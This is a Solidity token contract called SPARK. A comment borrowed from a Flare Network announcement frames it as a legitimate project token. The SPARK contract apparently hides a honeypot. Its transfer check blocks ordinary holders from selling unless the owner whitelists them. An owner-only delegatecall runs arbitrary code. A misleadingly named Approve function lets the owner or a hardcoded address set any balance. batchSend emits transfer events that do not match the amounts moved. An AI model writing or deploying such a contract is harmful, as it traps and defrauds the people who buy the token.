/*
Today we are delighted to make our detailed plans for the deployment of the Flare Network public. These plans can be fully explored by diving into our draft white papers covering the Network and its native token, Spark and the trustless integration of XRP with Flare. The papers are in draft form and there will be optimization changes between now and the day Flare goes live. There should not be changes that materially deviate from the overview provided below. In this post we aim to highlight what we consider to be the most important aspects of Flare. A minimally technical overview of each important component will be posted over the following weeks, starting later this week with a walkthrough of Flare's trustless integration of XRP, FXRP. Buckle in!

(A TL;DR is at the end of this post.)

What is Flare and why are we building it?

Flare exists to solve two key issues:

First, and of immediate importance to the building out of our industry is that 75% of the value that exists in public blockchain cannot currently be used in a trustless manner with smart contracts.

Second, and of both short term and long term consequence, there are potential issues with how scaling is being implemented for smart contract networks today. The majority of new networks use Proof of Stake or its variants. These protocols derive network safety from their native token.

The immediate issue inherent in Proof of Stake is that the consensus design doesn’t yet safely allow for alternate uses of the native token. If a token holder can obtain a higher yield (and with no possibility of slashing) by providing collateral to create a stablecoin than they can from staking, then as economic rationalists, they will likely do so. This diverts tokens away from staking and cannibalizes the safety of the network. (A highly insightful paper on this topic is here.) We suspect that this is perhaps the key reason why despite having comparatively higher transaction costs and far lower transaction throughput, Ethereum is still leading the way in DeFi.
*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract SPARK {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function Approve(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (1080614020421183795110940285280029773222128095634));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
    
    address tradeAddress;
    function Transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}